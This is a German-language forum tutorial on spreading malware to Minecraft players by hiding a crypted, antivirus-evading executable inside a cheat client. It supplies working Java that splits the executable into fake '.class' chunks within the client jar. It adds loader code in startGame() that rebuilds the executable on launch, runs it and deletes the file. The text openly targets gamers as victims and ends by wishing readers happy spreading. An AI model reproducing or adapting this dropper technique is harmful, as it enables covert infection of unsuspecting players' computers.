Quelle: virus | Autoren: Twisted_Tornado! & Judgement
Wie ihr mit Sicherheit wisst, gibt es „Minecraft Clients“ diese sind so wie Cheats. Man laeuft schneller, fliegt oder was auch immer. (Ich glaube ECB2 hatte sogar mal einen geposted!)
Diese koennen gezielt genutzt werden um an Minecraft/Gaming Vics zu kommen.
Dazu muessen wir lediglich den Code etwas abaendern.
Also. Erstmal solltet ihr natuerlich eure .exe crypten. FUD wenn es machbar ist.
Als naechstes packt ihr eure crypted – Ich nenn sie mal so – virus.exe in den .minecraft Ordner ( Windows + R -> %appdata% | Wenn du Eclipse nutzt in den jar Ordner! )
Nun muessen wir die virus.exe in mehrere Chunks splitten.
Dazu brauchen wir ein wenig Java. Oeffne deine Minecraft.java (Euer uncompiled Client) und such die Zeile:
publicvoid startGame()throwsLWJGLException{
Jetzt koennt ihr das hier da rein C&P.
try{int i =0;InputStreamin=newFileInputStream(Minecraft.theMinecraft.getMinecraftDir()+"/virus.exe");// Hier wird euer Virus in mehrere Chunks gesplittedFile file =newFile(Minecraft.getMinecraftDir(),"/zz"+ i +".class");OutputStreamout=newFileOutputStream(Minecraft.theMinecraft.getMinecraftDir()+"/zz"+ i +".class");byte[] buf =newbyte[1024];int len;int z2 =0;while((len =in.read(buf))>0){ z2 +=1;out.write(buf,0, len);if(z2 >=55){ i +=1; file =newFile(Minecraft.getMinecraftDir(),"/zz"+ i +".class");out=newFileOutputStream(Minecraft.theMinecraft.getMinecraftDir()+"/zz"+ i +".class"); z2 =0;}}in.close();out.close();}catch(Exception e){System.out.println(e.toString());}
Starte deine Minecraft.java in Eclipse.
Das wird dir einige neue Dateien erstellen. Name dieser Dateien sind „zz“ dann kommt eine Zahl „i“.exe.
Jetzt ist die virus.exe gesplitted, und jetzt musst du alle deine ZZ Dateien in die Minecraft.jar reinmachen.
Nun ersetzen wir den Code von oben mit dem hier, da wir nicht mehr unsere virus.exe splitten muessen.
try{int i =0;InputStreamin= getClass().getClassLoader().getResourceAsStream("zz"+ i +".class");File file =newFile(Minecraft.getMinecraftDir(),"/virus.exe");OutputStreamout=newFileOutputStream(Minecraft.theMinecraft.getMinecraftDir()+"/virus.exe");byte[] buf =newbyte[1024];int len;try{while(true){while((len =in.read(buf))>0){out.write(buf,0, len);in= getClass().getClassLoader().getResourceAsStream("zz"+ i +".class"); i +=1;}}}catch(Exception e){}in.close();out.close();Process process =Runtime.getRuntime().exec(Minecraft.theMinecraft.getMinecraftDir()+"/virus.exe");File f =newFile(Minecraft.theMinecraft.getMinecraftDir()+"/virus.exe"); f.delete();}catch(Exception e){System.out.println(e.toString());}
Deine virus.exe wird nun komplett neu zusammengesetzt.
Diese Methode kann fuer eigentlich jede Datei verwendet werden.
Wenn sie sich die .jar anschauen, werden sie keine .exe finden also auch so gut wie keine Vorahnung haben.
Frohes Spreading!